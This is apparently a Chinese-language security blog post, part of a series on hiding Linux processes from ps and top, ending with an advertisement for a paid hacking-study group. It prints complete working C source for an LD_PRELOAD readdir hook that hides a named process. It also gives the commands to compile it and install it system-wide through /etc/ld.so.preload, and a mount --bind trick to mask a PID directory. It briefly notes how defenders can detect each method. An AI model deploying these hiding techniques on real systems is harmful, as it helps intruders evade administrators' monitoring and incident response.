Linux 进程隐藏:中级隐藏篇

文摘   2024-11-12 11:12   上海  

/ Linux 进程隐藏:中级隐藏篇 /

   

前言

上篇介绍了如何在有源码的情况下,通过argv[]prctl对进程名及参数进行修改,整篇围绕/proc/pid/目录和 ps、top 命令进行分析,做到了初步隐藏,即修改了 /proc/pid/stat/proc/pid/status/proc/pid/cmdline 这些文件的信息,使得 ps、top 命令显示了虚假的进程信息;但是还存在一些缺点

1.ps、top命令还是显示了真实的pid
2./proc/pid 目录依然存在,/proc/pid/exe及/proc/pid/cwd文件依然暴露了可执行文件的真实路径及名称


所以,为了解决以上缺陷,本篇将介绍以下几种方式对进程进行隐藏


1.应用层下hook函数调用2.挂载覆盖/proc/pid目录


   

PS/TOP 命令工作原理

我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理,strace 命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic

命令strace ps部分显示结果


stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328close(6)                                = 0openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024read(6, "00000000,00000000,00000000,00000"..., 1024) = 311close(6)                                = 0stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150close(6)                                = 0openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978close(6)                                = 0stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151close(6)                                = 0openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969close(6)                                = 0


命令strace top部分显示结果


openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9read(9, "4679 473 371 263 0 127 0\n", 2048) = 25close(9)                                = 0openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362close(9)                                = 0stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322close(9)                                = 0openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26close(9)       


从上面的结果我们可以看出,ps/top 命令就是在不断的读取/proc/pid 下的文件信息,再显示出来给我看;

一般先调用 stat()确认文件状态,再调用 openat()打开文件句柄,然后 read()读取内容,最后 close()关闭;不断重复这一系列动作从而获取进程信息;

当然这些都是系统调用,并不是 ps 源码中直接调用的,ps 源码直接调用的函数其实是opendir以及readdir,readdir 内部再进行以上这些系统调用。

top 命令的原理与 ps 类似,这里不多介绍,下面进入正题



   

一、应用层下 hook 函数调用实现隐藏

我们这里所要 hook 的对象当然就是readdir函数了

这里有两个问题:

1.readdir 函数在哪?

2.如何 hook?


[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html]在头文件

[dirent.h](https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html)中声明


头文件:#include <sys/types.h>   
    #include <dirent.h>
定义:struct dirent * readdir(DIR * dir);
函数说明:readdir()返回参数dir 目录流的下个目录进入点。结构dirent 定义如下:struct dirent{ ino_t d_ino; //d_ino 此目录进入点的inode ff_t d_off; //d_off 目录文件开头至此目录进入点的位移 signed short int d_reclen; //d_reclen _name 的长度, 不包含NULL 字符 unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名 har d_name[256];};
返回值:成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回NULL.


如何 hook?

我们这里使用的是 ld_preload 技术,关于此技术可以看我另一篇[文章][https://www.freebuf.com/articles/system/247462.html],这里不多介绍 ( https://www.freebuf.com/articles/system/247462.html],这里不多介绍 )

接下来我们正式编写 hook 函数,先以伪代码进行介绍


#define _GNU_SOURCE
#include <stdio.h>#include <dlfcn.h>#include <dirent.h>#include <string.h>#include <unistd.h>
/* 这里声明一个函数指针,用来存储readdir函数原始调用 */static struct dirent* (*original_readdir)(DIR*) = NULL;
/* 这里是我们伪造的readdir函数,由于我们的so库最早被调用,所以ps程序调用readdir函数时也就调用了我们的同名函数*/struct dirent* readdir(DIR *dirp) { /* 使用dlsym函数获取readdir真正的入口 */ if(original_readdir == NULL) original_readdir = dlsym(RTLD_NEXT, readdir); struct dirent* dir; /* 这里循环调用原始readdir函数 */ while(1) { dir = original_readdir(dirp); // 判断是否为特定的进程名 process_name = get_process_name(dir); if(process_name=="123456"){ //是,则继续循环,这样就相当于跳过了特定的进程,不打印信息 continue; } break; } return dir; }


整个流程非常简单,这里引用一段完整的代码:[github][https://github.com/gianlucaborello/libprocesshider ( https://github.com/gianlucaborello/libprocesshider )]

修改 process_to_filter 变量为要隐藏的进程即可


#define _GNU_SOURCE
#include <stdio.h>#include <dlfcn.h>#include <dirent.h>#include <string.h>#include <unistd.h>
/* * Every process with this name will be excluded */static const char* process_to_filter = "evil_script.py";
/* * Get a directory name given a DIR* handle */static int get_dir_name(DIR* dirp, char* buf, size_t size){ int fd = dirfd(dirp); if(fd == -1) { return 0; }
char tmp[64]; snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); ssize_t ret = readlink(tmp, buf, size); if(ret == -1) { return 0; }
buf[ret] = 0; return 1;}
/* * Get a process name given its pid */static int get_process_name(char* pid, char* buf){ if(strspn(pid, "0123456789") != strlen(pid)) { return 0; }
char tmp[256]; snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); FILE* f = fopen(tmp, "r"); if(f == NULL) { return 0; }
if(fgets(tmp, sizeof(tmp), f) == NULL) { fclose(f); return 0; }
fclose(f);
int unused; sscanf(tmp, "%d (%[^)]s", &unused, buf); return 1;}
#define DECLARE_READDIR(dirent, readdir) \static struct dirent* (*original_##readdir)(DIR*) = NULL; \ \struct dirent* readdir(DIR *dirp) \{ \ if(original_##readdir == NULL) { \ original_##readdir = dlsym(RTLD_NEXT, #readdir); \ if(original_##readdir == NULL) \ { \ fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ } \ } \ \ struct dirent* dir; \ \ while(1) \ { \ dir = original_##readdir(dirp); \ if(dir) { \ char dir_name[256]; \ char process_name[256]; \ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ strcmp(dir_name, "/proc") == 0 && \ get_process_name(dir->d_name, process_name) && \ strcmp(process_name, process_to_filter) == 0) { \ continue; \ } \ } \ break; \ } \ return dir; \}
DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);


以上代码非常巧妙的运用了宏定义函数以及#号的用法,使得少了很多代码量,同时定义了 64 位版本的 readdir64 以及 readdir 函数。

编译成动态链接库测试# ( https://www.cnblogs.com/reuodut/articles/13718795.html#1040424531 )


$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl$ mv libprocesshider.so /usr/local/lib/$ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload


这样一来,ps top 命令就找不到进程的任何踪迹了!

优缺点

优点:相较于通过argv[]prctl对进程名及参数进行修改,这种方法彻底隐藏了 ps、top 中进程的信息,看不到 pid

缺点:proc 目录下还是会存在我们进程的 pid 目录


   

二、挂载覆盖/proc/pid 目录

利用 mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录,我们知道 ps、top 等工具会读取/proc 目录下获取进程信息,如果将进程 ID 的目录信息覆盖,则原来的进程信息将从 ps 的输出结果中隐匿。

例如隐藏进程 id 为 42 的进程信息:

mount -o bind /empty/dir /proc/42


优缺点:

缺点比较明显

cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount —bind 将其他目录或文件挂载至/proc 下的进程目录


   

三、总结

hook readdir 函数的方法的确可以完全隐藏掉 ps/top 下的进程信息,隐蔽性还是不够,如果结合argv[]prctl一起使用,也还有明显的缺点:


1、存在proc/pid目录,防御方利用别的方法遍历一下pid,与ps进行对比即可知道哪些是隐藏进程
2、/proc/pid/exe 以及 /proc/pid/cwd文件依然暴露了可执行文件的真实路径及名称


Linux 进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术------在内核中对进程进行彻底隐藏。

3

   

帮会双十一活动来啦,活动仅剩3

帮会领域:专注于 APT 框架、渗透测试、红蓝对抗等领


   

帮会内容覆盖

  1. 挖洞技巧和小 tips

  2. 挖洞实战项目案例内部分享

  3. 应急响应案例内部分享

  4. 不定时分享高质量小工具

  5. 可加入内部群进行攻防技术交流

  6. 团队内部师傅开发的小工具,优先体验新版本,还可和师傅提出 bug 获得奖励哦

  7. 有机会进入团队,成为正式成员,获得更多好处

  8. 私域信息安全图书馆

活动价格:15/月卡、39.9/季卡

9.9/月 20/季 79/永久

活动结束后将恢复原价


   

帮会私域信安图书馆

建立信息安全图书馆也有一段时间了,为大家准备了大量的资料,想学的时候,翻开那些你感兴趣的领域的资料看一看只要你需要,我们会尽可能的帮你寻找你感兴趣或者需要的资料。

应急响应4

持久化1

应急响应 · 目录


上一篇【刻刀】蓝队Linux应急工具-司稽5.0.2更新


Eonian Sharp
Eonian Sharp | 永恒之锋,专注APT框架、渗透测试攻击与防御的研究与开发,没有永恒的安全,但有永恒的正义之锋击破黑暗的不速之客。
 最新文章